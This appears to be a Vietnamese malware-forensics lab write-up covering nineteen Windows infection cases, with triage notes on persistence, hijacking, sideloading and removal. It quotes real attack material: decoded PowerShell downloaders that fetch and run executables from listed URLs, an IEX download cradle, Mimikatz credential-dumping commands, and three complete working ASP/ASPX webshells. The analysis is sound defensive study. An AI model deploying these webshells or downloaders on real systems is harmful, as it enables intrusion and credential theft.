# Rà soát mã độc

Lab 1

C:\Users\hunter\AppData\Roaming\ELP84P\System\~1.LNK không được verified tạo shortcut đến file độc hại system.exe

<figure><img src="/files/ntC6nIKPOZ7mVI3wvOWB" alt=""><figcaption></figcaption></figure>

System.exe nàm dưới explorer

<figure><img src="/files/zjFLLgVRrlTgOEzZLa6b" alt=""><figcaption></figcaption></figure>

Có inject thread

<figure><img src="/files/Qw3S6OegEEC7LG3ZE9vd" alt=""><figcaption></figcaption></figure>

## Lab 2

Trong autorun, một servise của WinDefend được đăng ký nhưng không verified, và WinDefend cũng không hoạt động

<figure><img src="/files/DiQmeOc9eUkGxJLbtAHp" alt=""><figcaption></figcaption></figure>

Qua CIGui, phát hiện 2 dll not verified và đều độc hại qua VirusTotal check

<figure><img src="/files/zqdVxL7KDmHaaESIm9PC" alt=""><figcaption></figcaption></figure>

Cả 2 đều được load trong process 3276

<figure><img src="/files/Sh8bsDK7sIrg6H9wzqDN" alt=""><figcaption></figcaption></figure>

Về hidservs.dll, tên gốc là msiscsi.exe[^1]&#x20;

<figure><img src="/files/5hEG3daGxoeykPmAE617" alt=""><figcaption></figcaption></figure>

## Lab 3

<figure><img src="/files/rCfdahkZgEOlALIR1cfi" alt=""><figcaption></figcaption></figure>

**COM gốc bị hijacking**

HKEY\_LOCAL\_MACHINE\SOFTWARE\Classes\CLSID\\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\InprocServer32

<figure><img src="/files/ZGQkxsu0Nva4gYiQ6899" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2cPmdUvXrh3TSVZtcVOn" alt=""><figcaption></figcaption></figure>

COM hijacking

HKCU\SOFTWARE\Classes\CLSID\\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\InprocServer32 HKCR\CLSID\\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\InprocServer32

&#x20;Qua Virustotal biết được file này là một PE độc hại

<figure><img src="/files/n6WEzPW2ikHWY3FWNjGy" alt=""><figcaption></figcaption></figure>

## Lab 4

<figure><img src="/files/nanMiWVAGequOWqiXyxm" alt=""><figcaption></figcaption></figure>

Command được mã hóa bằng base64, tham khảo [bài viết](https://angry-bender.github.io/blog/Cobalt-Strike-Decoding/), decode bằng CyberChef

Sử dụng tool [PowerDecode](https://github.com/Malandrone/PowerDecode), thu được plainScript

```powershell
$Auj0pbm='O6l92fc';
new-item $ENv:Temp\WORD\2019\ -itemtype DirecToRY;
[Net.ServicePointManager]::"sECUrITYpROToCOl" = 'tls12, tls11, tls';
$Oddxqgp = 'O1jp0j';
$Qjy_pij=(('X39s')+'0v2');
$Hlttecc=$env:temp+(('{0}word{0}2019{0}')  -f '\')+$Oddxqgp+'.exe';$F05_k3e='Kbcb19_';$Wket1s4=new-object neT.WEbcLIent;$Smyttl7=(('https:')+'//dadieroque.com/wp-admin/dg/*https://sulselekspres.com/cgi-bin/6l0nyO/*https://maulanarumifoundation.com/RumiFoundation/Q9etF/*https://kelas.yec.co.id/srjns/B/*http://caesarmoving.com/wp-content/9s/*https://kinepremins.cl/wp-admin/6wr/*http://dolphininsight.it/wp-includes/LVf/').SPlIt('*');
$Tgxz2c9=(('H2of')+'4xd');
foreach($Cgctt61 in $Smyttl7){try{$Wket1s4.dOWnloaDFiLE($Cgctt61, $Hlttecc);
    $V2arfke='Dovnfho';
    If ((Get-Item $Hlttecc).leNGtH -ge 39850) 
        {Invoke-Item($Hlttecc);$T240cig='Izuo0r3';
    break;
$Qi08tbr=(('Tun')+'rund')}}catch{}}$Knc8ls3='Wq5wurg'
```

Phát hiện hành vi độc :

<figure><img src="/files/3m9O8q3XwRklPKk2QZct" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/dfAYs05pLzvdFAYU4MrL" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/mwUnD5zPMNXKZNmSoTT8" alt=""><figcaption></figcaption></figure>

## Lab 5

`HKCU\Environment\UserInitMprLogonScript` được sử dụng để chạy các script hoặc lệnh khi người dùng đăng nhập vào hệ thống.

<figure><img src="/files/HfbFiQ7gMGMRFAVJ0Mel" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Hjr4d7cqoCU8e81aR2C2" alt=""><figcaption></figcaption></figure>

```
cmd.exe /C "OIS.EXE" log privilege::debug sekurlsa::logonpasswords exit
```

khả năng cao OIS.EXE là Mimikatz, và dòng lệnh nhằm trích xuất thông tin đăng nhập từ lsass trong mem và thoát

Tìm thấy OIS.EXE trong System.exe

<figure><img src="/files/k8FWpoJ7HCMlsbyIOxK8" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/pUw6KbwvY71P3dl0zP0h" alt=""><figcaption></figcaption></figure>

## Lab 6

<figure><img src="/files/VGjQJgj0ADR0uH0pj15i" alt=""><figcaption></figcaption></figure>

## Lab 7

Phát hiện DLL lạ trong AppInit

<figure><img src="/files/ZWhVIqWjHXOMcjhm0psC" alt=""><figcaption></figcaption></figure>

VirusTotal check là độc

<figure><img src="/files/UHIp9I0dWOuNwW95uP3s" alt=""><figcaption></figcaption></figure>

Unload sử dụng CheckInject.exe -unload \<PID> \<DLL full path>

## Lab 8

Đương dân lạ của McAfee&#x20;

*c:\programdata\mcafee\mcafee.exe*

Thư mục bị ẩn toàn bộ

<figure><img src="/files/G5L9k8cK9b0EBxMkoikr" alt=""><figcaption></figcaption></figure>

Virustotal check được McUtil.dll là độc, khả năng là sideloading

Qua TCPView phát hiện một svchost.exe liên tục scan dải mạng bằng gói SYN

<figure><img src="/files/OXvrm8v7uehxBFIsjSbp" alt=""><figcaption></figcaption></figure>

Và một svchost.exe lạ trong procexp có injection code

<figure><img src="/files/i5eCW9oLofxSGe7DCjoU" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/w3N75LN6dpE4cuqlN2rG" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.malwarebytes.com/blog/news/2016/08/unpacking-the-spyware-disguised-as-antivirus>" %}

<https://esc.vn/vncert-cong-bo-4-ma-doc-can-ngan-chan-khan-cap-sau-vu-vietnam-airlines-bi-hack/>

## Lab 9

<figure><img src="/files/rR6j8OHbxdzEiMZuhmX9" alt=""><figcaption></figcaption></figure>

powershell.exe -ExecutionPolicy Bypass -file C:\ProgramData\Microsoft\install.ps1 -WindowStyle Hidden

Nội dung file install.ps1&#x20;

```powershell
powershell -w hidden -enco JABFAGEAcQBlAGsAcQBkAHIAPQAnAFIAZABpAGgAeQBoAG8AawByACcAOwAkAFEAbABpAGQAcwB2AG0AZwB4ACAAPQAgACcANgA5ADcAJwA7ACQAWgBlAGsAcABpAHcAYQBmAGkAZwB5AHcAPQAnAEIAegBuAHAAaQBtAHMAZAB6AGgAegAnADsAJABEAHYAYgBhAHAAcgBlAHgAZwBtAGUAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAbABpAGQAcwB2AG0AZwB4ACsAJwAuAGUAeABlACcAOwAkAE4AeQB2AGcAZQB1AG4AYQBtAHUAdgBpAD0AJwBRAHcAbABlAGwAbABpAGcAbwB4AGIAJwA7ACQATQBnAHUAZgBwAHYAYQBzAGsAaABsAHoAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAG4AZQB0AC4AdwBFAEIAQwBsAGkAZQBuAHQAOwAkAFMAbgBvAHQAdQB6AGoAaQA9ACcAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AYQByAGYAYQBqAGIAZAAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AawB4ADQAMwAyADQAMwA0AC8AKgBoAHQAdABwAHMAOgAvAC8AaABlAGYAbwBrAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ANQB6AHUAegA5AGkAcgAwADAANgAwADYALwAqAGgAdAB0AHAAOgAvAC8AaQBjAGwAbwB1AGQAZwByAGEAcABoAGkAYwBzAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AbwAxAGMAdQA3ADYAMgA4AC8AKgBoAHQAdABwADoALwAvAGIAdQBjAGsAZQB0AGwAaQBzAHQAYQBkAHYAdABvAHUAcgBzAC4AYwBvAG0ALwBtADUAXwBlAGQAaQB0AF8AaQB0AGUAbQAvADAANgA2ADAANQBsAGQAMAAzADEAOQA3AC8AKgBoAHQAdABwADoALwAvAG4AYQBhAHYAaQBrAHMAYwBoAG8AbwBsAC4AYwBvAG0ALwBuAGEAYQB2AGkAawBzAGMAaABvAG8AbAAuAGMAbwBtAC8AbwBvAHEAdgBpADcAYQAwADYAOAAyAC8AJwAuACIAUwBQAEwAYABJAHQAIgAoACcAKgAnACkAOwAkAFoAdwBlAGMAcABsAGMAbQBoAG4AegB1AGMAPQAnAE8AZgByAGgAYgB2AGIAZwBvAGMAbwAnADsAZgBvAHIAZQBhAGMAaAAoACQAUwBpAHgAZQBuAGYAaAB1AHYAeABsAG8AdwAgAGkAbgAgACQAUwBuAG8AdAB1AHoAagBpACkAewB0AHIAeQB7ACQATQBnAHUAZgBwAHYAYQBzAGsAaABsAHoALgAiAGQAYABPAHcATgBgAEwATwBhAGQAYABGAGkAbABFACIAKAAkAFMAaQB4AGUAbgBmAGgAdQB2AHgAbABvAHcALAAgACQARAB2AGIAYQBwAHIAZQB4AGcAbQBlACkAOwAkAEgAagB5AGUAdQB4AG8AZQBoAHIAPQAnAEYAZQBqAGoAbABrAGoAYwB0AHIAagBmAHQAJwA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABEAHYAYgBhAHAAcgBlAHgAZwBtAGUAKQAuACIATABgAEUAYABOAEcAVABIACIAIAAtAGcAZQAgADIANgA0ADcANAApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAHQAYABBAHIAVAAiACgAJABEAHYAYgBhAHAAcgBlAHgAZwBtAGUAKQA7ACQAUABxAGEAYgBiAHEAZgB4AHAAdgB6AGUAdQA9ACcATgBsAGsAdwByAHIAeABjAHIAJwA7AGIAcgBlAGEAawA7ACQAUwBwAGEAcwBrAG0AdwBxAG8APQAnAEUAdgBvAHoAbQB1AHEAbABlAGkAaABrACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEkAbQBqAGYAcgBvAGkAdwB0AHkAcAB3AD0AJwBNAGgAZQB3AHEAdwBoAHAAaABzACcA
```

Giải mã sử dụng CyberChef và PowerDecode

```powershell
$Eaqekqdr = 'Rdihyhokr';
$Qlidsvmgx = '697';
$Zekpiwafigyw = 'Bznpimsdzhz';
$Dvbaprexgme = $env:userprofile + '\' + $Qlidsvmgx + '.exe';
$Nyvgeunamuvi = 'Qwlelligoxb';
$Mgufpvaskhlz = new-object net.wEBClient;

$Snotuzji = 'https://www.arfajbd.com/wp-admin/kx432434/*https://hefok.com/wp-content/5zuz9ir00606/*http://icloudgraphics.com/wp-content/o1cu7628/*http://bucketlistadvtours.com/m5_edit_item/06605ld03197/*http://naavikschool.com/naavikschool.com/ooqvi7a0682/'.SPLIt('*');

$Zwecplcmhnzuc = 'Ofrhbvbgoco';

foreach($Sixenfhuvxlow in $Snotuzji) {
    try {
        $Mgufpvaskhlz.dOwNLOadFilE($Sixenfhuvxlow, $Dvbaprexgme);
        $Hjyeuxoehr = 'Fejjlkjctrjft';
        
        If ((Get-Item $Dvbaprexgme).LENGTH -ge 26474) {
            [Diagnostics.Process]::Start($Dvbaprexgme);
            $Pqabbqfxpvzeu = 'Nlkwrrxcr';
            break;
        }
        
        $Spaskmwqo = 'Evozmuqleihk';
    } catch {}
}

$Imjfroiwtypw = 'Mhewqwhphs';

```

Script cố gắng tải vào tệp 697.exe và thực thi&#x20;

<figure><img src="/files/G3ROLoKmIE6tE9fkapYk" alt=""><figcaption></figcaption></figure>

## Lab 10

Phát hiện một giá trị IFEO lạ&#x20;

rundll32.exe c:\windows\system32\config:conf.dll,inst

<figure><img src="/files/WDRL5eKTUanORzRfdSih" alt=""><figcaption></figcaption></figure>

Đường dân gọi đến  `inst` trong một file DLL ẩn trong phần `config:conf.dll`, sử dung ADS ([Alternate Data Streams](https://blog.netwrix.com/2022/12/16/alternate_data_stream/))

<figure><img src="/files/qVcZ5frrMwJFPRPSs8md" alt=""><figcaption></figcaption></figure>

Virustotal check được c:\windows\system32\config:conf.dll là file độc

Chú ý timestamp

<figure><img src="/files/7zUkMc6eLSo9191vXL80" alt=""><figcaption></figcaption></figure>

Ngoài ra phát hiện inject code

<figure><img src="/files/shLMLjhjCGVw7AQFBztG" alt=""><figcaption></figcaption></figure>

Các mã độc ẩn: C:\Windows\Temp\Vdump.exe

<figure><img src="/files/Kv4dekHQCRUtBrvXctco" alt=""><figcaption></figcaption></figure>

C:\Windows\System32\drivers\dump\_roes.sys

Lấy mẫu <https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f>:&#x20;

`Get-Item c:\windows\system32\config | Get-Content -Stream conf.dll | Set-Content -Path config_conf.dll`

Hoặc

`expand C:\windows\system32\config:conf.dll C:\Users\Gee\Desktop\conf1.dll`

Hoặc

`$adsContent = Get-Content -Path "C:\windows\system32\config:conf.dll" -Raw -Encoding Byte [System.IO.File]::WriteAllBytes("C:\Users\Gee\Desktop\conf.dll", $adsContent)`

Gỡ bỏ:

`Remove-Item c:\windows\system32\config -Stream conf.dll`

## Lab 11

Phát hiện  UltraViewService

<figure><img src="/files/iCuC0ian0m69j5Nli20V" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/wFVSQHT5f1IaMMIYSKsE" alt=""><figcaption></figcaption></figure>

Image Hijacking với IFEO: Khi người dùng mở `sethc.exe` được thay thế bằng `cmd.exe`, thường là nhấn **Shift** 5 lần, **Command Prompt** sẽ xuất hiệnquyền hệ thống (SYSTEM)

<https://www.pandasecurity.com/en/mediacenter/sticky-attacks-when-the-operating-system-turns-against-you/>

## Lab 12

Một **Network Provider** được thêm vào HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order

<figure><img src="/files/OKA2f1mxovH7MqE8tnB3" alt=""><figcaption></figcaption></figure>

Có thể nhằm mục tiêu lấy thông tin xác thực của người dùng, tham khảo

{% embed url="<https://www.giac.org/paper/gcih/117/microsoft-network-provider-exploit/101145>" %}

&#x20;[bài viết](https://www.socinvestigation.com/credential-dumping-using-windows-network-providers-how-to-respond/) khác

## Lab 13

Phát hiện chương trình thực thi bất thường "C:\Program Files\PRTG Network Monitor\lsm.exe" trong HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 12/25/2020 11:16 AM

<figure><img src="/files/IE3NSk6jjeEz7u0vCnlW" alt=""><figcaption></figcaption></figure>

File thực thi được verify tuy nhiên nhưng phát hiện nó load một DLL không verify

<figure><img src="/files/BJGBbSvam21K4QVaXL4t" alt=""><figcaption></figcaption></figure>

## Lab 14

Phát hiện Image Path C:\Windows\QcConsol.exe lạ trong các khóa registry nhạy cảm

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

<figure><img src="/files/WvtokJSQ78zq54Ljq3M4" alt=""><figcaption></figcaption></figure>

Command line: C:\Windows\QcConsol.exe -LowIntegrityServer

Trong thư mục nhạy cảm, phát hiện QcConsol.exe, QcLite.dll, stdole.tlb được ẩn

<figure><img src="/files/e1FblP2bNCHyP1CqCSsK" alt=""><figcaption></figcaption></figure>

VirusTotal check QcLite.dll là độc hại, được đặt cùng thư mục với QcConsol.exe hợp lệ, khả năng là Dll sideload. Check inject code

<figure><img src="/files/R18CZHsUxYJImiNoWSpR" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/JuZzo2gOKbuewBUX4h5i" alt=""><figcaption></figcaption></figure>

Xóa registry key, kill QcConsol.exe, sau vài giây xuất hiện một QcConsol.exe khác nằm trong dllhst3gexe

<figure><img src="/files/178YjYryguQxzfptGFNH" alt=""><figcaption></figcaption></figure>

Sau một khoảng thơi gian, dllhst3g.exe tự biến mất, một dllhst3g.exe khác tự sinh ra độc lập

&#x20;

<figure><img src="/files/9t2AsR5HHxmBn6a0bFEQ" alt=""><figcaption></figcaption></figure>

Key HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run đã xóa đã được tạo lại

Chỉ kill dllhst3g.exe thì sau một lúc cũng xuất hiện trở lại

{% embed url="<https://kienmanowar.wordpress.com/2018/11/08/la-1937cn-hay-oceanlotus-hay-lazarus/>" %}

{% embed url="<https://blog.viettelcybersecurity.com/chien-dich-cua-nhom-apt-goblin-panda-loi-dung-dai-dich-covid-19/>" %}

## Lab 15

<figure><img src="/files/NUseLIeLgcaHOi8UOm6b" alt=""><figcaption></figcaption></figure>

commandline: `powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://39.109.114.56:80/a'))`

<figure><img src="/files/COUrfbM3NQ8LAYVpPKxe" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/x9klAFRh2MfrVKopA2PA" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/NtJu9pLa2O64RJQtRbdk" alt=""><figcaption></figcaption></figure>

## Lab 16

Detect Webshell&#x20;

<figure><img src="/files/BypAaQ1LZEdKN8wgqc8v" alt=""><figcaption></figcaption></figure>

```aspnet
<!--
ASP Webshell
Working on latest IIS 
Referance :- 
https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.asp
http://stackoverflow.com/questions/11501044/i-need-execute-a-command-line-in-a-visual-basic-script
http://www.w3schools.com/asp/
-->


<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Function getCommandOutput(theCommand)
    Dim objShell, objCmdExec
    Set objShell = CreateObject("WScript.Shell")
    Set objCmdExec = objshell.exec(thecommand)
    getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
%>


<HTML>
<BODY>
<FORM action="" method="GET">
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
<input type="submit" value="Run">
</FORM>
<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<%Response.Write(Request.ServerVariables("server_name"))%>
<p>
<b>The server's port:</b>
<%Response.Write(Request.ServerVariables("server_port"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("server_software"))%>
</p>
<p>
<b>The server's local address:</b>
<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
<% szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)
Response.Write(thisDir)%>
</p>
<br>
</BODY>
</HTML>

```

Webshell cho phép lấy thông tin và RCE

Task Scheduler thực thi mã độc

<figure><img src="/files/ygampRNVEC9gD8VmKwk5" alt=""><figcaption></figcaption></figure>

## Lab 17

mimilib.dll được thêm vào khóa HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages

<figure><img src="/files/Zi4vjuGHg7fR5jQvNi5s" alt=""><figcaption></figcaption></figure>

Dấu hiệu của [Custom SSP](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/custom-ssp)

`mimilib.dll`tệp nhị phân do Mimikatz cung cấp. Khi đặt tệp vào  C:\Windows\System32\ và&#x20;

thêm `mimilib.dll` vào Security Support Provider list (Security Packages):

```
reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages"
```

Sau khi khởi động lại tất cả thông tin xác thực có thể tìm thấy dạng cleartext tại `C:\Windows\System32\kiwissp.log`

<figure><img src="/files/UwclnC3UK4FbysxUR1Iy" alt=""><figcaption></figcaption></figure>

## Lab 18

Phát hiện Webshell

<figure><img src="/files/bDEF7ZxePyVPLGNKLE3f" alt=""><figcaption></figcaption></figure>

Form cho phép RCE

```aspnet
<%@ Page Language="VB" Debug="true" %>
<%@ import Namespace="system.IO" %>
<%@ import Namespace="System.Diagnostics" %>

<script runat="server">      

Sub RunCmd(Src As Object, E As EventArgs)            
  Dim myProcess As New Process()            
  Dim myProcessStartInfo As New ProcessStartInfo(xpath.text)            
  myProcessStartInfo.UseShellExecute = false            
  myProcessStartInfo.RedirectStandardOutput = true            
  myProcess.StartInfo = myProcessStartInfo            
  myProcessStartInfo.Arguments=xcmd.text            
  myProcess.Start()            

  Dim myStreamReader As StreamReader = myProcess.StandardOutput            
  Dim myString As String = myStreamReader.Readtoend()            
  myProcess.Close()            
  mystring=replace(mystring,"<","&lt;")            
  mystring=replace(mystring,">","&gt;")            
  result.text= vbcrlf & "<pre>" & mystring & "</pre>"    
End Sub

</script>

<html>
<body>    
<form runat="server">        
<p><asp:Label id="L_p" runat="server" width="80px">Program</asp:Label>        
<asp:TextBox id="xpath" runat="server" Width="300px">c:\windows\system32\cmd.exe</asp:TextBox>        
<p><asp:Label id="L_a" runat="server" width="80px">Arguments</asp:Label>        
<asp:TextBox id="xcmd" runat="server" Width="300px" Text="/c net user">/c net user</asp:TextBox>        
<p><asp:Button id="Button" onclick="runcmd" runat="server" Width="100px" Text="Run"></asp:Button>        
<p><asp:Label id="result" runat="server"></asp:Label>       
</form>
</body>
</html>
```

Task Scheduler bất thường: Commandline "C:\Windows\apppatch\NvSmart.exe"

<figure><img src="/files/l6iskjnHCeKYyZwEWLHT" alt=""><figcaption></figcaption></figure>

NvSmart.exe là hợp lệ nhưng phát hiện nó load một dll not verified độc: NvSmartMax.dll

{% embed url="<https://www.trendmicro.com/en_us/research/12/i/unplugging-plugx-capabilities.html>" %}

## Lab 19

Phát hiện Webshell

<figure><img src="/files/mei2eJBBrrNWfopQy6xD" alt=""><figcaption></figcaption></figure>

```aspnet
<%@ Page Language="C#" %>
<%@ Import Namespace="System.IO" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<script runat="server">
    private const string AUTHKEY = "woanware";
    private const string HEADER = "<html>\n<head>\n<title>filesystembrowser</title>\n<style type=\"text/css\"><!--\nbody,table,p,pre,form input,form select {\n font-family: \"Lucida Console\", monospace;\n font-size: 88%;\n}\n-->\n</style></head>\n<body>\n";
    private const string FOOTER = "</body>\n</html>\n";

    /// <summary>
    /// 
    /// </summary>
    /// <param name="sender"></param>
    /// <param name="e"></param>
    protected void Page_Load(object sender, EventArgs e)
    {
        try
        {
            if (Request.Params["authkey"] == null)
            {
                Response.Write(HEADER);
                Response.Write(this.GetUploadControls());
                Response.Write(FOOTER);
                return;
            }

            if (Request.Params["authkey"] != AUTHKEY)
            {
                Response.Write(HEADER);
                Response.Write(this.GetUploadControls());
                Response.Write(FOOTER);
                return;
            }
            
            if (Request.Params["operation"] != null)
            {
                if (Request.Params["operation"] == "upload")
                {
                    Response.Write(HEADER);
                    Response.Write(this.UploadFile());
                    Response.Write(FOOTER);
                }
                else
                {
                    Response.Write(HEADER);
                    Response.Write("Unknown operation");
                    Response.Write(FOOTER);
                }
            }
            else
            {
                Response.Write(HEADER);
                Response.Write(this.GetUploadControls());
                Response.Write(FOOTER);
            }
        }
        catch (Exception ex)
        {
            Response.Write(HEADER);
            Response.Write(ex.Message);
            Response.Write(FOOTER);
        }
    }

    /// <summary>
    /// 
    /// </summary>
    private string UploadFile()
    {
        try
        {
            if (Request.Params["authkey"] == null)
            {
                return string.Empty;
            }

            if (Request.Params["authkey"] != AUTHKEY)
            {
                return string.Empty;
            }
            
            if (Request.Files.Count != 1)
            {
                return "No file selected";
            }

            HttpPostedFile httpPostedFile = Request.Files[0];

            int fileLength = httpPostedFile.ContentLength;
            byte[] buffer = new byte[fileLength];
            httpPostedFile.InputStream.Read(buffer, 0, fileLength);

            FileInfo fileInfo = new FileInfo(Request.PhysicalPath);
            using (FileStream fileStream = new FileStream(Path.Combine(fileInfo.DirectoryName, Path.GetFileName(httpPostedFile.FileName)), FileMode.Create))
            {
                fileStream.Write(buffer, 0, buffer.Length);
            }

            return "File uploaded";
        }
        catch (Exception ex)
        {
            return ex.ToString();
        }
    }

    /// <summary>
    /// 
    /// </summary>
    /// <returns></returns>
    private string GetUploadControls()
    {
        string temp = string.Empty;

        temp = "<form enctype=\"multipart/form-data\" action=\"?operation=upload\" method=\"post\">";
        temp += "<br>Auth Key: <input type=\"text\" name=\"authKey\"><br>";
        temp += "<br>Please specify a file: <input type=\"file\" name=\"file\"></br>";
        temp += "<div><input type=\"submit\" value=\"Send\"></div>";
        temp += "</form>";

        return temp;
    }
</script>

<!-- Created by Mark Woan (http://www.woanware.co.uk) -->

```

Webshell cho phép upload file tùy ý

Phát hiện một Task Scheduler lạ chạy powershell khi logon

<figure><img src="/files/u6CIK31Ay1bzLP8sJZFI" alt=""><figcaption></figcaption></figure>

Thực thi

<pre><code><strong>powershell -windowstyle hidden -EncodedCommand IwByAGUAcQB1AGkAcgBlAHMAIAAtAFYAZQByAHMAaQBvAG4AIAAyAAoAZgB1AG4AYwB0AGkAbwBuACAAUwB0AGEAcgB0AC0ASwBlAHkATABvAGcAZwBlAHIAKAAkAFAAYQB0AGgAPQAiACQAZQBuAHYAOgB0AGUAbQBwAFwAbABvAGcAZgBpAGwAZQAuAHQAeAB0ACIAKQAgAAoAewAKACAAIAAjACAAUwBpAGcAbgBhAHQAdQByAGUAcwAgAGYAbwByACAAQQBQAEkAIABDAGEAbABsAHMACgAgACAAJABzAGkAZwBuAGEAdAB1AHIAZQBzACAAPQAgAEAAJwAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgAsACAAQwBoAGEAcgBTAGUAdAA9AEMAaABhAHIAUwBlAHQALgBBAHUAdABvACwAIABFAHgAYQBjAHQAUwBwAGUAbABsAGkAbgBnAD0AdAByAHUAZQApAF0AIAAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAHMAaABvAHIAdAAgAEcAZQB0AEEAcwB5AG4AYwBLAGUAeQBTAHQAYQB0AGUAKABpAG4AdAAgAHYAaQByAHQAdQBhAGwASwBlAHkAQwBvAGQAZQApADsAIAAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgAsACAAQwBoAGEAcgBTAGUAdAA9AEMAaABhAHIAUwBlAHQALgBBAHUAdABvACkAXQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAARwBlAHQASwBlAHkAYgBvAGEAcgBkAFMAdABhAHQAZQAoAGIAeQB0AGUAWwBdACAAawBlAHkAcwB0AGEAdABlACkAOwAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgAsACAAQwBoAGEAcgBTAGUAdAA9AEMAaABhAHIAUwBlAHQALgBBAHUAdABvACkAXQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAATQBhAHAAVgBpAHIAdAB1AGEAbABLAGUAeQAoAHUAaQBuAHQAIAB1AEMAbwBkAGUALAAgAGkAbgB0ACAAdQBNAGEAcABUAHkAcABlACkAOwAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgAsACAAQwBoAGEAcgBTAGUAdAA9AEMAaABhAHIAUwBlAHQALgBBAHUAdABvACkAXQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAAVABvAFUAbgBpAGMAbwBkAGUAKAB1AGkAbgB0ACAAdwBWAGkAcgB0AEsAZQB5ACwAIAB1AGkAbgB0ACAAdwBTAGMAYQBuAEMAbwBkAGUALAAgAGIAeQB0AGUAWwBdACAAbABwAGsAZQB5AHMAdABhAHQAZQAsACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AUwB0AHIAaQBuAGcAQgB1AGkAbABkAGUAcgAgAHAAdwBzAHoAQgB1AGYAZgAsACAAaQBuAHQAIABjAGMAaABCAHUAZgBmACwAIAB1AGkAbgB0ACAAdwBGAGwAYQBnAHMAKQA7AAoAJwBAAAoACgAgACAAIwAgAGwAbwBhAGQAIABzAGkAZwBuAGEAdAB1AHIAZQBzACAAYQBuAGQAIABtAGEAawBlACAAbQBlAG0AYgBlAHIAcwAgAGEAdgBhAGkAbABhAGIAbABlAAoAIAAgACQAQQBQAEkAIAA9ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJABzAGkAZwBuAGEAdAB1AHIAZQBzACAALQBOAGEAbQBlACAAJwBXAGkAbgAzADIAJwAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABBAFAASQAgAC0AUABhAHMAcwBUAGgAcgB1AAoAIAAgACAAIAAKACAAIAAjACAAYwByAGUAYQB0AGUAIABvAHUAdABwAHUAdAAgAGYAaQBsAGUACgAgACAAJABuAHUAbABsACAAPQAgAE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAUABhAHQAaAAgAC0ASQB0AGUAbQBUAHkAcABlACAARgBpAGwAZQAgAC0ARgBvAHIAYwBlAAoACgAgACAAdAByAHkACgAgACAAewAKACAAIAAgACAAIwBXAHIAaQB0AGUALQBIAG8AcwB0ACAAJwBSAGUAYwBvAHIAZABpAG4AZwAgAGsAZQB5ACAAcAByAGUAcwBzAGUAcwAuACAAUAByAGUAcwBzACAAQwBUAFIATAArAEMAIAB0AG8AIABzAGUAZQAgAHIAZQBzAHUAbAB0AHMALgAnACAALQBGAG8Acg